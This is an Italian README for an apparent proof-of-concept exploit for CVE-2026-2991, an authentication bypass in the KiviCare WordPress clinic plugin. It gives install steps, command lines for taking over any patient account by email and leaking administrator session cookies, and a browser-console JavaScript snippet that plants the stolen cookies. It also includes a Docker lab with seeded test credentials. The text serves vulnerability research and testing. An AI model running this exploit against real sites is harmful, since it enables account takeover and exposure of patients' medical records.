
PoC exploit per CVE-2026-2991 — bypass dell'autenticazione nel plugin WordPress KiviCare (≤4.1.2) che consente la presa di controllo non autenticata degli account paziente e l'estrazione delle sessioni amministrative.
CVE-2026-2991 è una vulnerabilità di bypass dell'autenticazione nel plugin WordPress KiviCare – Clinic & Patient Management System (EHR) che colpisce tutte le versioni fino alla 4.1.2 inclusa.
Il plugin espone un endpoint REST pubblico all'indirizzo /wp-json/kivicare/v1/auth/patient/social-login che autentica gli utenti tramite social login. La funzione patientSocialLogin() accetta un indirizzo email e un token di accesso ma non valida mai il token rispetto al provider sociale dichiarato. Qualsiasi attaccante non autenticato può accedere come qualsiasi paziente registrato fornendo solo l'email del paziente e una stringa arbitraria come token.
Inoltre, i cookie di autenticazione di WordPress vengono rilasciati prima che venga applicato il controllo del ruolo di paziente. Ciò significa che per gli account non paziente (inclusi gli amministratori), la risposta restituisce un HTTP 403 ma include comunque header Set-Cookie validi — facendo trapelare una sessione admin riutilizzabile all'attaccante.
Versioni interessate: kivicare-clinic-management-system <= 4.1.2
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-2991.py --url <TARGET_URL> --email <TARGET_EMAIL> [--login-type <google|apple>] [--timeout <SECONDS>] [--useragent <UA>]
Bypassa l'autenticazione per un paziente registrato. Lo script restituisce la sessione completa, inclusi nonce e cookie riutilizzabili.
python3 CVE-2026-2991.py --url 'https://target.com' --email '[email protected]'

Fornisci l'email di qualsiasi utente non paziente (ad es. un amministratore). L'endpoint rilascia cookie di autenticazione validi prima del controllo del ruolo e restituisce 403 — questi cookie vengono estratti e stampati.
python3 CVE-2026-2991.py --url http://localhost:8080/ --email '[email protected]'

Dopo un'esecuzione riuscita, lo script stampa uno snippet JavaScript. Apri il sito target nel browser, incolla lo snippet nella console del browser (F12 → Console) e premi Invio: imposta i cookie rubati e ti porta automaticamente alla dashboard.
(() => {
document.cookie = "wordpress_<hash>=<value>; path=/";
document.cookie = "wordpress_logged_in_<hash>=<value>; path=/";
window.location.href = "http://target.com/kivicare-patient-dashboard";
})();
Un ambiente Docker Compose autonomo con il plugin vulnerabile preinstallato e popolato con dati di test realistici. Consulta DOCKER.md per maggiori dettagli.
cd docker/
docker compose up
Il laboratorio crea i seguenti account al primo avvio:
# Bypass a patient
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
# Leak admin session cookies
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
Questo strumento è fornito esclusivamente a scopo educativo e di ricerca. Il creatore non si assume alcuna responsabilità per un uso improprio o per danni causati da questo strumento.
| Ruolo | Nome utente | Password |
|---|
| Admin | admin | [email protected] | admin |
| Medico | dr.harris | [email protected] | Doctor@123 |
| Medico | dr.chen | [email protected] | Doctor@123 |
| Medico | dr.okonkwo | [email protected] | Doctor@123 |
| Paziente | james.ford | [email protected] | Patient@123 |
| Paziente | sofia.reyes | [email protected] | Patient@123 |
| Paziente | oliver.knight | [email protected] | Patient@123 |
| Paziente | amara.diallo | [email protected] | Patient@123 |
| Paziente | dan.walsh | [email protected] | Patient@123 |